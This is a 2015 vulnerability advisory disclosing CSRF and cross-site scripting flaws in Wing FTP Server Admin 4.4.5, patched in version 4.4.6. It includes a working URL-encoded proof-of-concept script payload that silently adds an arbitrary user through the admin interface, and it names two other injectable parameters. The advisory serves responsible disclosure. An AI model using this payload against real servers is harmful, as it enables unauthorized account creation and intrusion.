CSRF & XSS Wing FTP Server Admin <= v4.4.5

[apparitionsec@xxxxxxxxx]

Wing FTP Server Admin 4.4.5 - CSRF & Cross Site Scripting Vulnerabilities


Release Date:
=============
2015-04-28


Source:
====================================
http://hyp3rlinx.altervista.org/advisories/AS-WFTP0328.txt


Common Vulnerability Scoring System:
====================================
Overall CVSS Score 8.9


Product:
===============================
Wing FTP Server is a Web based administration FTP client that supports 
following protocols FTP, FTPS, HTTPS, SSH



Advisory Information:
==============================
CSRF & client-side cross site scripting web vulnerability within Wing FTP 
Server Admin that allows adding arbitrary users to the system.


Vulnerability Disclosure Timeline:
==================================
March 28, 2015: Vendor Notification 
March 28, 2015: Vendor Response/Feedback
April 19, 2015: Vendor Notification
April 28, 2015: Vendor released new version 4.4.6
April 28, 2015: Public Disclosure - John Page



Affected Product(s):
====================
Wing FTP Server Admin 4.4.5
Product: Wing FTP Server - Admin


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================


Request Method(s):
                                [+] POST & GET


Vulnerable Product:
                                [+] Wing FTP Server Admin <= 4.4.5


Vulnerable Parameter(s):
                                [+] domain & type


Affected Area(s):
                                [+] Server Admin


Proof of Concept (POC):
=======================
The CSRF and client-side cross site scripting web vulnerability can be 
exploited by remote attackers without privileged application user account and 
with low user interaction (click). Payload will add arbitrary users to the 
system.

PoC: Example

http://localhost:5466/admin_loglist.html?domain=[CSRF & XSS VULNERABILITIES]

POC: Add arbitrary user:

http://localhost:5466/admin_loglist.html?domain=%3Cscript%3EajaxRequest%28%27admin_adduser%27,%22domain%3dtest%26user%3d{%27username%27%3a%27hyp3rlinx%27,%27password%27%3a%27kuQrwgV%27,%27oldpassword%27%3a%27%27,%27max_download%27%3a%270%27,%27max_upload%27%3a%270%27,%27max_download_account%27%3a%270%27,%27max_upload_account%27%3a%270%27,%27max_connection%27%3a%270%27,%27connect_timeout%27%3a%275%27,%27idle_timeout%27%3a%275%27,%27connect_per_ip%27%3a%270%27,%27pass_length%27%3a%270%27,%27show_hidden_file%27%3a0,%27change_pass%27%3a0,%27send_message%27%3a0,%27ratio_credit%27%3a%270%27,%27ratio_download%27%3a%271%27,%27ratio_upload%27%3a%271%27,%27ratio_count_method%27%3a0,%27enable_ratio%27%3a0,%27current_quota%27%3a%270%27,%27max_quota%27%3a%270%27,%27enable_quota%27%3a0,%27note_name%27%3a%27%27,%27note_address%27%3a%27%27,%27note_zip%27%3a%27%27,%27note_phone%27%3a%27%27,%27note_fax%27%3a%27%27,%27note_email%27%3a%27%27,%27note_memo%27%3a%27%27,%27ipmasks%27%3a[],%27filemas
 
ks%27%3a[],%27directories%27%3a[],%27usergroups%27%3a[],%27subdir_perm%27%3a[],%27enable_schedule%27%3a0,%27schedules%27%3a[],%27limit_reset_type%27%3a%270%27,%27limit_enable_upload%27%3a0,%27cur_upload_size%27%3a%270%27,%27max_upload_size%27%3a%270%27,%27limit_enable_download%27%3a0,%27cur_download_size%27%3a%270%27,%27max_download_size%27%3a%270%27,%27enable_expire%27%3a0,%27expiretime%27%3a%272015-05-18%2021%3a17%3a46%27,%27protocol_type%27%3a63,%27enable_password%27%3a1,%27enable_account%27%3a1,%27ssh_pubkey_path%27%3a%27%27,%27enable_ssh_pubkey_auth%27%3a0,%27ssh_auth_method%27%3a0}%22,%20%22post%22%29%3C/script%3E


POC XSS:
http://localhost:5466/admin_viewstatus.html?domain=[XSS VECTOR]


POC XSS:
http://localhost:5466/admin_event_list.html?type=[XSS VECTOR]


Solution - Fix & Patch:
=======================
Vendor released updated version 4.4.6 Fix/Patch (Wing FTP Server)


Security Risk:
==============
The security risk of the CSRF client-side cross site scripting web 
vulnerability in the `domain` admin_loglist.html value has CVSS Score of 8.9


Credits & Authors:
==================
John Page ( hyp3rlinx ) @apparitionsec


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. the security research reporter John Page disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and 
capability for a particular purpose. apparitionsec or its suppliers are not 
liable in any case of damage, including direct, indirect, incidental, 
consequential loss of business profits or special damages.

Domains:  hyp3rlinx.altervista.org